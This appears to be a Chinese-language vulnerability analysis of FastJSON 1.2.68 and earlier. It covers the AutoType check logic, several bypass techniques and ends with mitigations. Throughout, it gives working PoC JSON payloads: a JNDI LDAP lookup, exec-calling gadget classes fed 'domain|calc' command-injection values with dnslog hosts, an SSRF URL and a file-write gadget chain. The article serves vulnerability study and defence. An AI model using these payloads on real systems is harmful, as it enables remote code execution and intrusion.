某json<=1.2.68 Autotype bypass
字数 1691 2025-08-05 11:39:35
FastJSON <=1.2.68 AutoType Bypass 漏洞分析与利用
漏洞概述
FastJSON 是一个 Java 语言编写的高性能 JSON 处理器,其 AutoType 功能在 1.2.68 及以下版本存在多个绕过安全校验的漏洞,可能导致远程代码执行。
校验原理分析
checkAutoType 函数流程
checkAutoType() 函数是 FastJSON 反序列化时的核心安全检查函数,主要流程如下:
-
基础检查:
- 检查 typeName 是否为空
- 检查 safeMode 是否开启(1.2.68 新增)
- 检查 typeName 长度(3-192 字符)
-
期望类检查:
- 检查 expectClass 是否为 Object、Serializable、Cloneable 等基础接口
-
哈希校验:
- 计算类名哈希值
- 检查内部白名单 INTERNAL_WHITELIST_HASHCODES
- 检查黑名单 denyHashCodes
-
缓存检查:
- 从 getClassFromMapping 缓存中查找
- 从 deserializers 中查找
- 从 typeMapping 中查找
-
AutoType 支持检查:
- 如果未开启 autoTypeSupport,进行额外黑名单检查
- 如果开启,则允许加载类
-
注解检查:
- 检查类是否有 @JSONType 注解
-
危险类检查:
- 检查是否继承自 ClassLoader、DataSource、RowSet 等危险类
关键绕过点
-
白名单绕过:
- INTERNAL_WHITELIST_HASHCODES 中的类可直接反序列化
- 包括 java.lang.AutoCloseable 等基础接口
-
缓存绕过:
- mappings 缓存中的类可直接返回
- TypeUtils.loadClass 加载的类会加入缓存
-
期望类绕过:
- 通过指定 expectClass 可以绕过部分检查
- 主要利用 ThrowableDeserializer 和 JavaBeanDeserializer
绕过技术详解
1. Mapping 缓存绕过 (1.2.47)
原理:
- 通过反序列化 java.lang.Class 将恶意类加入 mappings 缓存
- 第二次反序列化时直接从缓存加载,绕过检查
PoC:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1099/Exploit",
"autoCommit": true
}
}
2. ThrowableDeserializer 绕过
原理:
- 利用 Throwable 异常类的反序列化机制
- 第一个 @type 指定期望类,第二个 @type 指定实际类
示例 Gadget:
public class ViaThrowable extends Exception {
private String domain;
public String getDomain() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
// setter 省略
}
PoC:
{
"@type":"java.lang.Exception",
"@type": "org.heptagram.fastjson.ViaThrowable",
"domain": "qbknro.dnslog.cn|calc"
}
3. JavaBeanDeserializer 绕过
原理:
- 利用 java.lang.AutoCloseable 在 mappings 缓存中的特性
- AutoCloseable 未指定特定 deserializer,会使用 JavaBeanDeserializer
示例 Gadget:
public class ViaAutoCloseable implements Closeable {
private String domain;
public String getDomain() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
e.printStackTrace();
}
return domain;
}
// setter 省略
}
PoC:
{
"@type":"java.lang.AutoCloseable",
"@type": "org.heptagram.fastjson.ViaAutoCloseable",
"domain": "wme8bg.dnslog.cn|calc"
}
4. $ref 引用功能利用
原理:
- 通过 $ref 引用触发 getter 方法
- 可用于 SSRF 或 RCE
SSRF 示例:
public class RefSSRF extends Exception {
private DataSource dataSource;
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
// getter 省略
}
PoC:
{
"@type": "java.lang.Exception",
"@type": "org.heptagram.fastjson.RefSSRF",
"dataSource": {
"@type": "java.net.URL",
"val": "http://127.0.0.1:4444/Exploit"
}
}
5. 文件操作 Gadget
原理:
- 利用 OutputStream 相关类写入文件
- 需要特定 JDK 版本支持
PoC:
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out': {
'@type':'java.util.zip.InflaterOutputStream',
'out': {
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl': {
'input': {
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}
防御措施
-
开启 safeMode:
ParserConfig.getGlobalInstance().setSafeMode(true); -
升级到最新版本:
- FastJSON 1.2.69 及以上版本修复了这些绕过问题
-
严格限制反序列化类:
- 使用白名单机制
- 避免反序列化不可信数据
参考链接
- https://b1ue.cn/archives/348.html
- https://b1ue.cn/archives/382.html
- https://y4er.com/post/fastjson-bypass-autotype-1268/
- https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/
- https://github.com/threedr3am/learnjavabug